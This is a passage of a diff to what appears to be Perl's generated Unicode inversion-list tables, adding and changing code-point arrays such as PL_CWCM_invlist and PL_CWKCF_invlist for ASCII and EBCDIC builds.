+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1E900,
+	0x1E922
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_CWCM_invlist[] = { /* for ASCII/Latin1 */
+	233,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0x61,
+	0x7B,
+	0xB5,
+	0xB6,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x138,
+	0x139,
+	0x18D,
+	0x18E,
+	0x19B,
+	0x19C,
+	0x1AA,
+	0x1AC,
+	0x1BA,
+	0x1BC,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x221,
+	0x222,
+	0x234,
+	0x23A,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
+	0x345,
+	0x346,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3D2,
+	0x3D5,
+	0x3F6,
+	0x3F7,
+	0x3FC,
+	0x3FD,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E00,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2180,
+	0x2183,
+	0x2185,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C71,
+	0x2C72,
+	0x2C74,
+	0x2C75,
+	0x2C77,
+	0x2C7E,
+	0x2CE4,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69C,
+	0xA722,
+	0xA730,
+	0xA732,
+	0xA770,
+	0xA779,
+	0xA788,
+	0xA78B,
+	0xA78E,
+	0xA790,
+	0xA794,
+	0xA796,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1E900,
+	0x1E944
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWCM_invlist[] = { /* for EBCDIC 1047 */
+	265,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x42,
 	0x4A,
 	0x51,
 	0x5A,
+	0x62,
+	0x6A,
 	0x70,
-	0x71,
-	0x81,
+	0x79,
+	0x80,
 	0x8A,
 	0x8C,
 	0x8F,
 	0x91,
+	0x9A,
+	0x9C,
 	0x9D,
+	0x9E,
+	0x9F,
 	0xA0,
 	0xA1,
 	0xA2,
 	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
 	0xCB,
 	0xD0,
+	0xD1,
+	0xDA,
 	0xDB,
 	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x138,
+	0x139,
+	0x18D,
+	0x18E,
+	0x19B,
+	0x19C,
+	0x1AA,
+	0x1AC,
+	0x1BA,
+	0x1BC,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x221,
+	0x222,
+	0x234,
+	0x23A,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
+	0x345,
+	0x346,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3D2,
+	0x3D5,
+	0x3F6,
+	0x3F7,
+	0x3FC,
+	0x3FD,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E00,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2180,
+	0x2183,
+	0x2185,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C71,
+	0x2C72,
+	0x2C74,
+	0x2C75,
+	0x2C77,
+	0x2C7E,
+	0x2CE4,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69C,
+	0xA722,
+	0xA730,
+	0xA732,
+	0xA770,
+	0xA779,
+	0xA788,
+	0xA78B,
+	0xA78E,
+	0xA790,
+	0xA794,
+	0xA796,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1E900,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_CWCM_invlist[] = { /* for EBCDIC 037 */
+	261,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9A,
+	0x9C,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x138,
+	0x139,
+	0x18D,
+	0x18E,
+	0x19B,
+	0x19C,
+	0x1AA,
+	0x1AC,
+	0x1BA,
+	0x1BC,
+	0x1BE,
+	0x1BF,
+	0x1C0,
+	0x1C4,
+	0x221,
+	0x222,
+	0x234,
+	0x23A,
+	0x255,
+	0x256,
+	0x258,
+	0x259,
+	0x25A,
+	0x25B,
+	0x25D,
+	0x260,
+	0x262,
+	0x263,
+	0x264,
+	0x265,
+	0x267,
+	0x268,
+	0x26D,
+	0x26F,
+	0x270,
+	0x271,
+	0x273,
+	0x275,
+	0x276,
+	0x27D,
+	0x27E,
+	0x280,
+	0x281,
+	0x283,
+	0x284,
+	0x287,
+	0x28D,
+	0x292,
+	0x293,
+	0x29D,
+	0x29F,
+	0x345,
+	0x346,
+	0x370,
+	0x374,
+	0x376,
+	0x378,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3D2,
+	0x3D5,
+	0x3F6,
+	0x3F7,
+	0x3FC,
+	0x3FD,
+	0x482,
+	0x48A,
+	0x530,
+	0x531,
+	0x557,
+	0x561,
+	0x588,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1C80,
+	0x1C89,
+	0x1D79,
+	0x1D7A,
+	0x1D7D,
+	0x1D7E,
+	0x1E00,
+	0x1E9C,
+	0x1E9E,
+	0x1E9F,
+	0x1EA0,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2126,
+	0x2127,
+	0x212A,
+	0x212C,
+	0x2132,
+	0x2133,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2180,
+	0x2183,
+	0x2185,
+	0x24B6,
+	0x24EA,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2C71,
+	0x2C72,
+	0x2C74,
+	0x2C75,
+	0x2C77,
+	0x2C7E,
+	0x2CE4,
+	0x2CEB,
+	0x2CEF,
+	0x2CF2,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA640,
+	0xA66E,
+	0xA680,
+	0xA69C,
+	0xA722,
+	0xA730,
+	0xA732,
+	0xA770,
+	0xA779,
+	0xA788,
+	0xA78B,
+	0xA78E,
+	0xA790,
+	0xA794,
+	0xA796,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFF21,
+	0xFF3B,
+	0xFF41,
+	0xFF5B,
+	0x10400,
+	0x10450,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x118A0,
+	0x118E0,
+	0x1E900,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_CWKCF_invlist[] = { /* for ASCII/Latin1 */
+	1631,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x41,
+	0x5B,
+	0xA0,
+	0xA1,
+	0xA8,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xB0,
+	0xB2,
+	0xB6,
+	0xB8,
+	0xBB,
+	0xBC,
+	0xBF,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xE0,
+	0x100,
 	0x101,
 	0x102,
 	0x103,
@@ -57792,8 +196007,6 @@
 	0x130,
 	0x131,
 	0x132,
-	0x133,
-	0x134,
 	0x135,
 	0x136,
 	0x137,
@@ -57804,8 +196017,6 @@
 	0x13D,
 	0x13E,
 	0x13F,
-	0x140,
-	0x141,
 	0x142,
 	0x143,
 	0x144,
@@ -57813,7 +196024,7 @@
 	0x146,
 	0x147,
 	0x148,
-	0x14A,
+	0x149,
 	0x14B,
 	0x14C,
 	0x14D,
@@ -57865,6 +196076,8 @@
 	0x17C,
 	0x17D,
 	0x17E,
+	0x17F,
+	0x180,
 	0x181,
 	0x183,
 	0x184,
@@ -57901,15 +196114,9 @@
 	0x1B6,
 	0x1B7,
 	0x1B9,
-	0x1BB,
+	0x1BC,
 	0x1BD,
-	0x1C0,
-	0x1C6,
-	0x1C7,
-	0x1C9,
-	0x1CA,
-	0x1CC,
-	0x1CD,
+	0x1C4,
 	0x1CE,
 	0x1CF,
 	0x1D0,
@@ -57944,8 +196151,6 @@
 	0x1EE,
 	0x1EF,
 	0x1F1,
-	0x1F3,
-	0x1F4,
 	0x1F5,
 	0x1F6,
 	0x1F9,
@@ -58023,30 +196228,44 @@
 	0x24D,
 	0x24E,
 	0x24F,
-	0x294,
-	0x295,
+	0x2B0,
 	0x2B9,
-	0x2C0,
-	0x2C2,
+	0x2D8,
+	0x2DE,
 	0x2E0,
 	0x2E5,
-	0x345,
+	0x340,
+	0x342,
+	0x343,
 	0x346,
+	0x34F,
+	0x350,
+	0x370,
 	0x371,
 	0x372,
 	0x373,
 	0x374,
+	0x375,
+	0x376,
 	0x377,
-	0x378,
 	0x37A,
+	0x37B,
 	0x37E,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
 	0x390,
 	0x391,
+	0x3A2,
+	0x3A3,
 	0x3AC,
+	0x3C2,
+	0x3C3,
 	0x3CF,
-	0x3D0,
-	0x3D2,
-	0x3D5,
+	0x3D7,
 	0x3D8,
 	0x3D9,
 	0x3DA,
@@ -58071,9 +196290,11 @@
 	0x3ED,
 	0x3EE,
 	0x3EF,
+	0x3F0,
+	0x3F3,
 	0x3F4,
-	0x3F5,
 	0x3F6,
+	0x3F7,
 	0x3F8,
 	0x3F9,
 	0x3FB,
@@ -58113,7 +196334,7 @@
 	0x47F,
 	0x480,
 	0x481,
-	0x482,
+	0x48A,
 	0x48B,
 	0x48C,
 	0x48D,
@@ -58277,15 +196498,99 @@
 	0x52D,
 	0x52E,
 	0x52F,
-	0x530,
-	0x561,
+	0x531,
+	0x557,
+	0x587,
 	0x588,
+	0x61C,
+	0x61D,
+	0x675,
+	0x679,
+	0x958,
+	0x960,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E0,
+	0xA33,
+	0xA34,
+	0xA36,
+	0xA37,
+	0xA59,
+	0xA5C,
+	0xA5E,
+	0xA5F,
+	0xB5C,
+	0xB5E,
+	0xE33,
+	0xE34,
+	0xEB3,
+	0xEB4,
+	0xEDC,
+	0xEDE,
+	0xF0C,
+	0xF0D,
+	0xF43,
+	0xF44,
+	0xF4D,
+	0xF4E,
+	0xF52,
+	0xF53,
+	0xF57,
+	0xF58,
+	0xF5C,
+	0xF5D,
+	0xF69,
+	0xF6A,
+	0xF73,
+	0xF74,
+	0xF75,
+	0xF7A,
+	0xF81,
+	0xF82,
+	0xF93,
+	0xF94,
+	0xF9D,
+	0xF9E,
+	0xFA2,
+	0xFA3,
+	0xFA7,
+	0xFA8,
+	0xFAC,
+	0xFAD,
+	0xFB9,
+	0xFBA,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10FC,
+	0x10FD,
+	0x115F,
+	0x1161,
 	0x13F8,
 	0x13FE,
+	0x17B4,
+	0x17B6,
+	0x180B,
+	0x180F,
 	0x1C80,
 	0x1C89,
-	0x1D00,
+	0x1D2C,
+	0x1D2F,
+	0x1D30,
+	0x1D3B,
+	0x1D3C,
+	0x1D4E,
+	0x1D4F,
+	0x1D6B,
+	0x1D78,
+	0x1D79,
+	0x1D9B,
 	0x1DC0,
+	0x1E00,
 	0x1E01,
 	0x1E02,
 	0x1E03,
@@ -58435,6 +196740,8 @@
 	0x1E93,
 	0x1E94,
 	0x1E95,
+	0x1E9A,
+	0x1E9C,
 	0x1E9E,
 	0x1E9F,
 	0x1EA0,
@@ -58535,77 +196842,139 @@
 	0x1EFF,
 	0x1F08,
 	0x1F10,
-	0x1F16,
-	0x1F20,
+	0x1F18,
+	0x1F1E,
 	0x1F28,
 	0x1F30,
 	0x1F38,
 	0x1F40,
-	0x1F46,
-	0x1F50,
-	0x1F58,
+	0x1F48,
+	0x1F4E,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
 	0x1F60,
 	0x1F68,
 	0x1F70,
+	0x1F71,
+	0x1F72,
+	0x1F73,
+	0x1F74,
+	0x1F75,
+	0x1F76,
+	0x1F77,
+	0x1F78,
+	0x1F79,
+	0x1F7A,
+	0x1F7B,
+	0x1F7C,
+	0x1F7D,
 	0x1F7E,
 	0x1F80,
-	0x1F88,
-	0x1F90,
-	0x1F98,
-	0x1FA0,
-	0x1FA8,
 	0x1FB0,
+	0x1FB2,
 	0x1FB5,
-	0x1FB6,
-	0x1FB8,
-	0x1FBE,
-	0x1FBF,
-	0x1FC2,
+	0x1FB7,
 	0x1FC5,
-	0x1FC6,
-	0x1FC8,
+	0x1FC7,
 	0x1FD0,
+	0x1FD3,
 	0x1FD4,
-	0x1FD6,
 	0x1FD8,
+	0x1FDC,
+	0x1FDD,
 	0x1FE0,
+	0x1FE3,
+	0x1FE4,
 	0x1FE8,
+	0x1FF0,
 	0x1FF2,
 	0x1FF5,
-	0x1FF6,
-	0x1FF8,
-	0x2071,
+	0x1FF7,
+	0x1FFF,
+	0x2000,
+	0x2010,
+	0x2011,
+	0x2012,
+	0x2017,
+	0x2018,
+	0x2024,
+	0x2027,
+	0x202A,
+	0x2030,
+	0x2033,
+	0x2035,
+	0x2036,
+	0x2038,
+	0x203C,
+	0x203D,
+	0x203E,
+	0x203F,
+	0x2047,
+	0x204A,
+	0x2057,
+	0x2058,
+	0x205F,
 	0x2072,
-	0x207F,
-	0x2080,
+	0x2074,
+	0x208F,
 	0x2090,
 	0x209D,
-	0x210A,
-	0x210B,
-	0x210E,
-	0x2110,
-	0x2113,
+	0x20A8,
+	0x20A9,
+	0x2100,
+	0x2104,
+	0x2105,
+	0x2108,
+	0x2109,
 	0x2114,
+	0x2115,
+	0x2117,
+	0x2119,
+	0x211E,
+	0x2120,
+	0x2123,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
 	0x212F,
-	0x2130,
-	0x2134,
-	0x2135,
-	0x2139,
 	0x213A,
-	0x213C,
-	0x213E,
-	0x2146,
+	0x213B,
+	0x2141,
+	0x2145,
 	0x214A,
-	0x214E,
-	0x214F,
-	0x2170,
+	0x2150,
 	0x2180,
+	0x2183,
 	0x2184,
-	0x2185,
-	0x24D0,
-	0x24EA,
-	0x2C30,
-	0x2C5F,
+	0x2189,
+	0x218A,
+	0x222C,
+	0x222E,
+	0x222F,
+	0x2231,
+	0x2329,
+	0x232B,
+	0x2460,
+	0x24EB,
+	0x2A0C,
+	0x2A0D,
+	0x2A74,
+	0x2A77,
+	0x2ADC,
+	0x2ADD,
+	0x2C00,
+	0x2C2F,
+	0x2C60,
 	0x2C61,
 	0x2C62,
 	0x2C65,
@@ -58621,7 +196990,7 @@
 	0x2C73,
 	0x2C75,
 	0x2C76,
-	0x2C7E,
+	0x2C7C,
 	0x2C81,
 	0x2C82,
 	0x2C83,
@@ -58721,19 +197090,47 @@
 	0x2CE1,
 	0x2CE2,
 	0x2CE3,
-	0x2CE5,
+	0x2CEB,
 	0x2CEC,
 	0x2CED,
 	0x2CEE,
-	0x2CEF,
+	0x2CF2,
 	0x2CF3,
-	0x2CF4,
-	0x2D00,
-	0x2D26,
-	0x2D27,
-	0x2D28,
-	0x2D2D,
-	0x2D2E,
+	0x2D6F,
+	0x2D70,
+	0x2E9F,
+	0x2EA0,
+	0x2EF3,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x3000,
+	0x3001,
+	0x3036,
+	0x3037,
+	0x3038,
+	0x303B,
+	0x309B,
+	0x309D,
+	0x309F,
+	0x30A0,
+	0x30FF,
+	0x3100,
+	0x3131,
+	0x318F,
+	0x3192,
+	0x31A0,
+	0x3200,
+	0x321F,
+	0x3220,
+	0x3248,
+	0x3250,
+	0x327F,
+	0x3280,
+	0x32FF,
+	0x3300,
+	0x3400,
+	0xA640,
 	0xA641,
 	0xA642,
 	0xA643,
@@ -58779,7 +197176,7 @@
 	0xA66B,
 	0xA66C,
 	0xA66D,
-	0xA66E,
+	0xA680,
 	0xA681,
 	0xA682,
 	0xA683,
@@ -58807,7 +197204,9 @@
 	0xA699,
 	0xA69A,
 	0xA69B,
+	0xA69C,
 	0xA69E,
+	0xA722,
 	0xA723,
 	0xA724,
 	0xA725,
